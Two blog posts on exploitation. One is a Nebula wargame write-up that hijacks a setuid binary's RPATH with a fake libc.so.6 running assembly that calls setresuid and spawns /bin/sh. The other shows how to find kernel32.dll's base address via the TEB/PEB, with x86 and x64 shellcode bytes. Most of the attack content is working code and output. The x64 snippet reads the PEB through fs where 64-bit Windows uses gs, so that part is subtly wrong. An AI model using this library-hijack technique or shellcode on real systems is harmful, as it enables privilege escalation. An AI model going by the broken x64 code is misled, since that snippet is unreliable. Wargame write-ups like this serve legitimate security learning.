Showing posts with label shellcode. Show all posts
Showing posts with label shellcode. Show all posts

Monday, September 3, 2012

nebula level15

Level details:
strace the binary at /home/flag15/flag15 and see if you spot anything out of the ordinary. You may wish to review how to "compile a shared library in linux" and how the libraries are loaded and processed by reviewing the dlopen manpage in depth. Clean up after yourself :)
Let's try running it before getting a strace, to see if we can get any other information out of it:
level15@nebula:~$ ~flag15/flag15
strace it!
Nope... Let's strace it then:
level15@nebula:~$ strace ~flag15/flag15
execve("/home/flag15/flag15", ["/home/flag15/flag15"], [/* 19 vars */]) = 0
brk(0)                                  = 0x9d1e000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb775f000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/sse2/cmov/libc.so.6", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686/sse2/cmov", 0xbfdc6580) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/sse2/libc.so.6", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686/sse2", 0xbfdc6580) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/cmov/libc.so.6", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686/cmov", 0xbfdc6580) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/libc.so.6", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686", 0xbfdc6580) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/sse2/cmov/libc.so.6", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/sse2/cmov", 0xbfdc6580) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/sse2/libc.so.6", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/sse2", 0xbfdc6580) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/cmov/libc.so.6", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/cmov", 0xbfdc6580) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/libc.so.6", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls", 0xbfdc6580) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/sse2/cmov/libc.so.6", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686/sse2/cmov", 0xbfdc6580) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/sse2/libc.so.6", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686/sse2", 0xbfdc6580) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/cmov/libc.so.6", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686/cmov", 0xbfdc6580) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/libc.so.6", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686", 0xbfdc6580) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/sse2/cmov/libc.so.6", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/sse2/cmov", 0xbfdc6580) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/sse2/libc.so.6", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/sse2", 0xbfdc6580) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/cmov/libc.so.6", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/cmov", 0xbfdc6580) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/libc.so.6", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15", {st_mode=S_IFDIR|0775, st_size=4096, ...}) = 0
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=20413, ...}) = 0
mmap2(NULL, 20413, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb775a000
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/i386-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0000\226\1\0004\0\0\0"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1713640, ...}) = 0
mmap2(NULL, 1723100, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x63e000
mmap2(0x7dd000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x19f) = 0x7dd000
mmap2(0x7e0000, 10972, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7e0000
close(3)                                = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7759000
set_thread_area({entry_number:-1 -> 6, base_addr:0xb7759900, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0
mprotect(0x7dd000, 8192, PROT_READ)     = 0
mprotect(0x8049000, 4096, PROT_READ)    = 0
mprotect(0x21d000, 4096, PROT_READ)     = 0
munmap(0xb775a000, 20413)               = 0
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb775e000
write(1, "strace it!\n", 11strace it!
)            = 11
exit_group(11)                          = ?
That's weird, it tries to open() a bunch of libraries from /var/tmp/flag15 before actually mapping the executable contents into memory... Let's see what objdump gives us:
level15@nebula:~$ objdump -p ~flag15/flag15

/home/flag15/flag15:     file format elf32-i386

Program Header:
    PHDR off    0x00000034 vaddr 0x08048034 paddr 0x08048034 align 2**2
         filesz 0x00000120 memsz 0x00000120 flags r-x
  INTERP off    0x00000154 vaddr 0x08048154 paddr 0x08048154 align 2**0
         filesz 0x00000013 memsz 0x00000013 flags r--
    LOAD off    0x00000000 vaddr 0x08048000 paddr 0x08048000 align 2**12
         filesz 0x000005d4 memsz 0x000005d4 flags r-x
    LOAD off    0x00000f0c vaddr 0x08049f0c paddr 0x08049f0c align 2**12
         filesz 0x00000108 memsz 0x00000110 flags rw-
 DYNAMIC off    0x00000f20 vaddr 0x08049f20 paddr 0x08049f20 align 2**2
         filesz 0x000000d0 memsz 0x000000d0 flags rw-
    NOTE off    0x00000168 vaddr 0x08048168 paddr 0x08048168 align 2**2
         filesz 0x00000044 memsz 0x00000044 flags r--
EH_FRAME off    0x000004dc vaddr 0x080484dc paddr 0x080484dc align 2**2
         filesz 0x00000034 memsz 0x00000034 flags r--
   STACK off    0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**2
         filesz 0x00000000 memsz 0x00000000 flags rw-
   RELRO off    0x00000f0c vaddr 0x08049f0c paddr 0x08049f0c align 2**0
         filesz 0x000000f4 memsz 0x000000f4 flags r--

Dynamic Section:
  NEEDED               libc.so.6
  RPATH                /var/tmp/flag15
  INIT                 0x080482c0
  FINI                 0x080484ac
  GNU_HASH             0x080481ac
  STRTAB               0x0804821c
  SYMTAB               0x080481cc
  STRSZ                0x0000005a
  SYMENT               0x00000010
  DEBUG                0x00000000
  PLTGOT               0x08049ff4
  PLTRELSZ             0x00000018
  PLTREL               0x00000011
  JMPREL               0x080482a8
  REL                  0x080482a0
  RELSZ                0x00000008
  RELENT               0x00000008
  VERNEED              0x08048280
  VERNEEDNUM           0x00000001
  VERSYM               0x08048276

Version References:
  required from libc.so.6:
    0x0d696910 0x00 02 GLIBC_2.0

Ah, so the binary has been linked with -rpath. Easy enough, we'll have to roll our own libc.so.6 in /var/tmp/flag15 and make it give us a shell... Let's try just that:
level15@nebula:~$ mkdir /var/tmp/flag15/
level15@nebula:~$ pushd /var/tmp/flag15/
/var/tmp/flag15 ~
level15@nebula:/var/tmp/flag15$ cat > libc.c
#include <unistd.h>
#include <stdlib.h>

void __attribute__((constructor)) init()
{
        int euid = geteuid();

        setresuid(euid, euid, euid);
        system("sh");
}
level15@nebula:/var/tmp/flag15$ gcc -shared -fPIC -o libc.so.6 libc.c
level15@nebula:/var/tmp/flag15$ ~flag15/flag15
/home/flag15/flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /home/flag15/flag15)
/home/flag15/flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /var/tmp/flag15/libc.so.6)
/home/flag15/flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /var/tmp/flag15/libc.so.6)
/home/flag15/flag15: relocation error: /var/tmp/flag15/libc.so.6: symbol geteuid, version GLIBC_2.0 not defined in file libc.so.6 with link time reference
Apparently there's some symbol versioning conflicts between the original libc and the one we just compiled. We'll have to get a shell without relying on the real libc, which means we'll have to write some shellcode :)
level15@nebula:/var/tmp/flag15$ cat > shell.S
.section .text
.globl shell
shell:
mov $49, %eax    # geteuid
int $0x80

mov %eax, %ebx
mov %eax, %ecx
mov %eax, %edx
mov $164, %eax    # setresuid
int $0x80

mov $sh_str, %ebx
xor %edx, %edx
push %edx
push %ebx
mov %esp, %ecx
mov $11, %eax      # execve
int $0x80

.section .data
sh_str: .ascii "/bin/sh\0"
And our constructor function:
level15@nebula:/var/tmp/flag15$ cat > libc.c
void shell(void);

void __attribute__((constructor)) init()
{
        shell();
}
Now let's compile it without linking to libc:
level15@nebula:/var/tmp/flag15$ gcc -shared -fPIC -nostdlib -o libc.so.6 libc.c shell.S
level15@nebula:/var/tmp/flag15$ ~flag15/flag15
/home/flag15/flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /home/flag15/flag15)
sh-4.2$ id
uid=984(flag15) gid=1016(level15) groups=984(flag15),1016(level15)
sh-4.2$ getflag
You have successfully executed getflag on a target account
inc flags ;)

~ Dmitry

Tuesday, July 31, 2012

Retrieving the kernel32.dll base address

More often than not, when writing shellcode for Windows or otherwise dealing with Windows internals, you need to retrieve the kernel32.dll base address. When GetModuleHandle is not available (i.e. you don't know/can't retrieve it's address), a very common way to retrieve the kernel32.dll base address is to use the structures provided in the Thread and Process contexts.

At any time in the execution of a process, the TEB (Thread Environment Block), is pointed to by the FS segment register. Using WinDBG and a sample process (calc.exe), let's take a look at what resides in the TEB:

0:000> dt _TEB
ntdll!_TEB
   +0x000 NtTib            : _NT_TIB
   +0x01c EnvironmentPointer : Ptr32 Void
   +0x020 ClientId         : _CLIENT_ID
   +0x028 ActiveRpcHandle  : Ptr32 Void
   +0x02c ThreadLocalStoragePointer : Ptr32 Void
   +0x030 ProcessEnvironmentBlock : Ptr32 _PEB
   +0x034 LastErrorValue   : Uint4B
   +0x038 CountOfOwnedCriticalSections : Uint4B
   ...

The point of interest here is the ProcessEnvironmentBlock entry, because that's the structure that holds loader information. The PEB looks like this:

0:000> dt _PEB
ntdll!_PEB
   +0x000 InheritedAddressSpace : UChar
   +0x001 ReadImageFileExecOptions : UChar
   +0x002 BeingDebugged    : UChar
   +0x003 BitField         : UChar
   +0x003 ImageUsesLargePages : Pos 0, 1 Bit
   +0x003 IsProtectedProcess : Pos 1, 1 Bit
   +0x003 IsLegacyProcess  : Pos 2, 1 Bit
   +0x003 IsImageDynamicallyRelocated : Pos 3, 1 Bit
   +0x003 SkipPatchingUser32Forwarders : Pos 4, 1 Bit
   +0x003 SpareBits        : Pos 5, 3 Bits
   +0x004 Mutant           : Ptr32 Void
   +0x008 ImageBaseAddress : Ptr32 Void
   +0x00c Ldr              : Ptr32 _PEB_LDR_DATA
   +0x010 ProcessParameters : Ptr32 _RTL_USER_PROCESS_PARAMETERS
   +0x014 SubSystemData    : Ptr32 Void
   +0x018 ProcessHeap      : Ptr32 Void
   ...

Next we look at Ldr:

0:000> dt _PEB_LDR_DATA
ntdll!_PEB_LDR_DATA
   +0x000 Length           : Uint4B
   +0x004 Initialized      : UChar
   +0x008 SsHandle         : Ptr32 Void
   +0x00c InLoadOrderModuleList : _LIST_ENTRY
   +0x014 InMemoryOrderModuleList : _LIST_ENTRY
   +0x01c InInitializationOrderModuleList : _LIST_ENTRY
   +0x024 EntryInProgress  : Ptr32 Void
   +0x028 ShutdownInProgress : UChar
   +0x02c ShutdownThreadId : Ptr32 Void

The module lists named InLoadOrderModuleList, InMemoryOrderModuleList, and InInitializationOrderModuleList hold information about the modules utilized by the process. The type however is not _LIST_ENTRY, but _LDR_DATA_TABLE_ENTRY (you can check this on MSDN).
Let's see how _LDR_DATA_TABLE_ENTRY is defined:

0:000> dt _LDR_DATA_TABLE_ENTRY
ntdll!_LDR_DATA_TABLE_ENTRY
   +0x000 InLoadOrderLinks : _LIST_ENTRY
   +0x008 InMemoryOrderLinks : _LIST_ENTRY
   +0x010 InInitializationOrderLinks : _LIST_ENTRY
   +0x018 DllBase          : Ptr32 Void
   +0x01c EntryPoint       : Ptr32 Void
   +0x020 SizeOfImage      : Uint4B
   +0x024 FullDllName      : _UNICODE_STRING
   +0x02c BaseDllName      : _UNICODE_STRING
   +0x034 Flags            : Uint4B
   +0x038 LoadCount        : Uint2B
   +0x03a TlsIndex         : Uint2B
   +0x03c HashLinks        : _LIST_ENTRY
   +0x03c SectionPointer   : Ptr32 Void
   +0x040 CheckSum         : Uint4B
   +0x044 TimeDateStamp    : Uint4B
   +0x044 LoadedImports    : Ptr32 Void
   +0x048 EntryPointActivationContext : Ptr32 _ACTIVATION_CONTEXT
   +0x04c PatchInformation : Ptr32 Void
   +0x050 ForwarderLinks   : _LIST_ENTRY
   +0x058 ServiceTagLinks  : _LIST_ENTRY
   +0x060 StaticLinks      : _LIST_ENTRY
   +0x068 ContextInformation : Ptr32 Void
   +0x06c OriginalBase     : Uint4B
   +0x070 LoadTime         : _LARGE_INTEGER

We seek the DllBase entry value for the kernel32.dll module. As it happens, kernel32.dll is always the third module in the InMemoryOrderModuleList (if it wasn't we could still walk all the list and find it by the FullDllName or BaseDllName entry). Let's actually examine the concrete structures in memory. Our starting point will be the TEB, as discussed:

0:000> dt _TEB @$teb
ntdll!_TEB
   +0x000 NtTib            : _NT_TIB
   +0x01c EnvironmentPointer : (null) 
   +0x020 ClientId         : _CLIENT_ID
   +0x028 ActiveRpcHandle  : (null) 
   +0x02c ThreadLocalStoragePointer : 0x7efdd02c Void
   +0x030 ProcessEnvironmentBlock : 0x7efde000 _PEB
   +0x034 LastErrorValue   : 0
   ...

0:000> dt _PEB 0x7efde000
ntdll!_PEB
   +0x000 InheritedAddressSpace : 0 ''
   +0x001 ReadImageFileExecOptions : 0 ''
   +0x002 BeingDebugged    : 0x1 ''
   +0x003 BitField         : 0x8 ''
   +0x003 ImageUsesLargePages : 0y0
   +0x003 IsProtectedProcess : 0y0
   +0x003 IsLegacyProcess  : 0y0
   +0x003 IsImageDynamicallyRelocated : 0y1
   +0x003 SkipPatchingUser32Forwarders : 0y0
   +0x003 SpareBits        : 0y000
   +0x004 Mutant           : 0xffffffff Void
   +0x008 ImageBaseAddress : 0x00550000 Void
   +0x00c Ldr              : 0x77ba0200 _PEB_LDR_DATA
   +0x010 ProcessParameters : 0x00341678 _RTL_USER_PROCESS_PARAMETERS
   +0x014 SubSystemData    : (null) 
   +0x018 ProcessHeap      : 0x00340000 Void
   ...

0:000> dt _PEB_LDR_DATA 0x77ba0200
ntdll!_PEB_LDR_DATA
   +0x000 Length           : 0x30
   +0x004 Initialized      : 0x1 ''
   +0x008 SsHandle         : (null) 
   +0x00c InLoadOrderModuleList : _LIST_ENTRY [ 0x692f10 - 0x696108 ]
   +0x014 InMemoryOrderModuleList : _LIST_ENTRY [ 0x692f18 - 0x696110 ]
   +0x01c InInitializationOrderModuleList : _LIST_ENTRY [ 0x692fb0 - 0x696118 ]
   +0x024 EntryInProgress  : (null) 
   +0x028 ShutdownInProgress : 0 ''
   +0x02c ShutdownThreadId : (null) 

0:000> dt _LDR_DATA_TABLE_ENTRY 0x342f18-8
ntdll!_LDR_DATA_TABLE_ENTRY
   +0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x342fa0 - 0x77ba020c ]
   +0x008 InMemoryOrderLinks : _LIST_ENTRY [ 0x342fa8 - 0x77ba0214 ]
   +0x010 InInitializationOrderLinks : _LIST_ENTRY [ 0x0 - 0x0 ]
   +0x018 DllBase          : 0x00550000 Void
   +0x01c EntryPoint       : 0x00562d6c Void
   +0x020 SizeOfImage      : 0xc0000
   +0x024 FullDllName      : _UNICODE_STRING "C:\Windows\SysWOW64\calc.exe"
   +0x02c BaseDllName      : _UNICODE_STRING "calc.exe"
   +0x034 Flags            : 0x4000
   +0x038 LoadCount        : 0xffff
   +0x03a TlsIndex         : 0
   +0x03c HashLinks        : _LIST_ENTRY [ 0x344044 - 0x77ba48e8 ]
   +0x03c SectionPointer   : 0x00344044 Void
   +0x040 CheckSum         : 0x77ba48e8
   +0x044 TimeDateStamp    : 0x4ce7979d
   +0x044 LoadedImports    : 0x4ce7979d Void
   +0x048 EntryPointActivationContext : (null) 
   +0x04c PatchInformation : (null) 
   +0x050 ForwarderLinks   : _LIST_ENTRY [ 0x342f60 - 0x342f60 ]
   +0x058 ServiceTagLinks  : _LIST_ENTRY [ 0x342f68 - 0x342f68 ]
   +0x060 StaticLinks      : _LIST_ENTRY [ 0x346320 - 0x345038 ]
   +0x068 ContextInformation : 0x77adc960 Void
   +0x06c OriginalBase     : 0
   +0x070 LoadTime         : _LARGE_INTEGER 0x0

0:000> dt _LDR_DATA_TABLE_ENTRY 0x342fa8-8
ntdll!_LDR_DATA_TABLE_ENTRY
   +0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x343320 - 0x342f10 ]
   +0x008 InMemoryOrderLinks : _LIST_ENTRY [ 0x343328 - 0x342f18 ]
   +0x010 InInitializationOrderLinks : _LIST_ENTRY [ 0x343448 - 0x77ba021c ]
   +0x018 DllBase          : 0x77aa0000 Void
   +0x01c EntryPoint       : (null) 
   +0x020 SizeOfImage      : 0x180000
   +0x024 FullDllName      : _UNICODE_STRING "C:\Windows\SysWOW64\ntdll.dll"
   +0x02c BaseDllName      : _UNICODE_STRING "ntdll.dll"
   +0x034 Flags            : 0x4004
   +0x038 LoadCount        : 0xffff
   +0x03a TlsIndex         : 0
   +0x03c HashLinks        : _LIST_ENTRY [ 0x77ba48c0 - 0x77ba48c0 ]
   +0x03c SectionPointer   : 0x77ba48c0 Void
   +0x040 CheckSum         : 0x77ba48c0
   +0x044 TimeDateStamp    : 0x4ec49b8f
   +0x044 LoadedImports    : 0x4ec49b8f Void
   +0x048 EntryPointActivationContext : (null) 
   +0x04c PatchInformation : (null) 
   +0x050 ForwarderLinks   : _LIST_ENTRY [ 0x342ff0 - 0x342ff0 ]
   +0x058 ServiceTagLinks  : _LIST_ENTRY [ 0x342ff8 - 0x342ff8 ]
   +0x060 StaticLinks      : _LIST_ENTRY [ 0x343000 - 0x343000 ]
   +0x068 ContextInformation : (null) 
   +0x06c OriginalBase     : 0x7de70000
   +0x070 LoadTime         : _LARGE_INTEGER 0x0

0:000> dt _LDR_DATA_TABLE_ENTRY 0x343328-8
ntdll!_LDR_DATA_TABLE_ENTRY
   +0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x343438 - 0x342fa0 ]
   +0x008 InMemoryOrderLinks : _LIST_ENTRY [ 0x343440 - 0x342fa8 ]
   +0x010 InInitializationOrderLinks : _LIST_ENTRY [ 0x343cf8 - 0x343448 ]
   +0x018 DllBase          : 0x75540000 Void
   +0x01c EntryPoint       : 0x755532a3 Void
   +0x020 SizeOfImage      : 0x110000
   +0x024 FullDllName      : _UNICODE_STRING "C:\Windows\syswow64\kernel32.dll"
   +0x02c BaseDllName      : _UNICODE_STRING "kernel32.dll"
   +0x034 Flags            : 0x84004
   +0x038 LoadCount        : 0xffff
   +0x03a TlsIndex         : 0
   +0x03c HashLinks        : _LIST_ENTRY [ 0x346144 - 0x77ba4880 ]
   +0x03c SectionPointer   : 0x00346144 Void
   +0x040 CheckSum         : 0x77ba4880
   +0x044 TimeDateStamp    : 0x4e211318
   +0x044 LoadedImports    : 0x4e211318 Void
   +0x048 EntryPointActivationContext : (null) 
   +0x04c PatchInformation : (null) 
   +0x050 ForwarderLinks   : _LIST_ENTRY [ 0x343ed0 - 0x343ed0 ]
   +0x058 ServiceTagLinks  : _LIST_ENTRY [ 0x343378 - 0x343378 ]
   +0x060 StaticLinks      : _LIST_ENTRY [ 0x3434f0 - 0x3433b0 ]
   +0x068 ContextInformation : 0x77adc960 Void
   +0x06c OriginalBase     : 0x7dd60000
   +0x070 LoadTime         : _LARGE_INTEGER 0x01cd6f77`c1f63851

There we have it, DllBase = 0x75540000.

The assembly code

; assemble with `nasm k32base.asm -o k32base`

bits 32

xor edx, edx
mov edx, [fs:edx+0x30]  ; edx = address of PEB
mov edx, [edx+0x0c]     ; edx = address of Ldr
mov edx, [edx+0x14]     ; edx = first module entry address
mov edx, [edx]          ; edx = second module entry address
mov edx, [edx]          ; edx = third module entry address
mov edx, [edx+0x10]     ; edx = DllBase of kernel32.dll

Shellcode:
/* 19 bytes */
char shellcode[] = "\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b"
                   "\x52\x14\x8b\x12\x8b\x12\x8b\x52\x10";

We can retrieve the DllBase of kernel32.dll under x64 in the same way, except that some offsets will be different, because of larger pointer sizes. After getting the equivalent offsets under x64, we come up with:

; assemble with `nasm k32base_x64.asm -o k32base_x64`

bits 64

xor rdx, rdx
mov rdx, [fs:rdx+0x60]  ; rdx = address of PEB
mov rdx, [rdx+0x18]     ; rdx = address of Ldr
mov rdx, [rdx+0x20]     ; rdx = first module entry address
mov rdx, [rdx]          ; rdx = second module entry address
mov rdx, [rdx]          ; rdx = third module entry address
mov rdx, [rdx+0x20]     ; rdx = DllBase of kernel32.dll

Shellcode:
/* 26 bytes */
char shellcode[] = "\x48\x31\xd2\x64\x48\x8b\x52\x60\x48\x8b"
                   "\x52\x18\x48\x8b\x52\x20\x48\x8b\x12\x48"
                   "\x8b\x12\x48\x8b\x52\x20";

~ Dmitry